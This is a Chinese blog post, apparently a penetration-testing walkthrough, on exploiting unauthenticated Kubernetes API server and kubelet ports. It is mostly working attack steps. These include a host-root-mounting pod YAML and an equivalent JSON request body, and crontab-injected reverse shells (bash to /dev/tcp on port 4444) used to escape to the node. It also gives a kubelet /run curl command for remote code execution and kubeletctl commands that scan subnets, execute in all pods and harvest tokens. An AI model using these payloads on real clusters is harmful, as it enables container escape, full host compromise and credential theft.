K8s-未授权访问利用

K8s-未授权访问

API Server 8080端口未授权访问

在低版本的k8s中存在8080不进行鉴权的操作,可以未授权访问api接口信息

访问地址的8080端口回显是这样的时候,就可以尝试这个漏洞

一般使用kubectl工具来进行未授权操作:https://kubernetes.io/zh-cn/docs/tasks/tools/

获取node节点

kubectl.exe -s 192.168.0.25:8080 get nodes

获取pod

kubectl.exe -s 192.168.0.25:8080 get pods

如果上述操作都能回显正常的话,就可以进行下一步的操作,就可以通过kubectl创建一个pods

创建pod的过程,需要在攻击机器上使用yaml文件

apiVersion: v1
kind: Pod
metadata:
  name: koube
spec:
  containers:
  - image: nginx
    name: test
    volumeMounts:
    - mountPath: /mnt
      name: test
  volumes:
  - name: test
    hostPath:
      path: /

在这一步我们需要注意的是三个值

  • name此为我们后创建容器的名称
  • image为我们选择的镜像
  • mountpath为我们宿主机挂载到容器的位置

将上面的保存在本地机器上,使用命令创建容器

kubectl -s ip:8080 create -f test.yaml

创建成功之后,进入这个容器的shell环境

kubectl.exe -s ip:8080 --namespace=default exec -it test bash

写入定时任务然后反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/ip/4444 0>&1\n" >> /mnt/etc/crontab

这里监听之后就会逃逸到node真机,这里是挂载到我们的mnt目录,这里就是docker逃逸的内容

API Server 6443端口未授权访问

6443端口在默认条件下是开启的但是会有权限校验,

image-20250910105005043

一般在配置不当的时候,将system:anonymous"用户绑定到"cluster-admin"用户组

这个时候访问的时候就会出现未授权访问接口的情况

利用方法

/api/v1/namespaces/default/pods/这个post

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"tammy66\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"tammy66\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"tammy66","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

post成功就会创建一个名字叫做tammy66的pods,然后就是查看这个pod创建成功没有

kubectl --insecure-skip-tls-verify -s ip:6443 get pods

然后就可以连接pods,最后写计划任务到挂载的host目录,反弹shell

kubectl --insecure-skip-tls-verify -s ip:6443 --namespace=default exec -it tammy66 bash
echo -e "* * * * * root bash -i >& /dev/tcp/ip/4444 0>&1\n" >> /host/etc/crontab

这个能够成功逃逸到真机的node

API Server 10250/10255端口未授权访问

在配置文件中authentication配置不当

image-20250910105919976

这里直接使用/runningpods获取namespace

curl -XPOST -k "https://ip:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

image-20250910115740625

授权之后这里会直接回显。

这个能证明我们能执行命令,但是一直使用这个非常的麻烦

工具推荐

https://github.com/cyberark/kubeletctl

使用:

  1. kubeletctl scan --cidr 192.168.159.0/24,扫描特定的子网,查看是否开放特定的端口
  2. kubeletctl pods --server 192.168.159.236,罗列可用的所有的pods
  3. kubeletctl scan rce --server ip,使用scan命令扫描容器里面可以命令执行的pods,然后通过
    • kubeletctl exec "hostname" -p PDODS -c CONTAINERS -n NAMESPACE--server IP
    • kubeletctl exec sh -p PDODS -c CONTAINERS -n NAMESPACE--server IP
  4. kubeletctl run "uname -a" --all-pods --server IP ,这个直接使用run命令在所有pods里面执行命令
  5. kubeletvtl scan token --server IP 这个直接搜索云的token
posted @ 2025-09-11 15:57  tammy66  阅读(6)  评论(0)    收藏  举报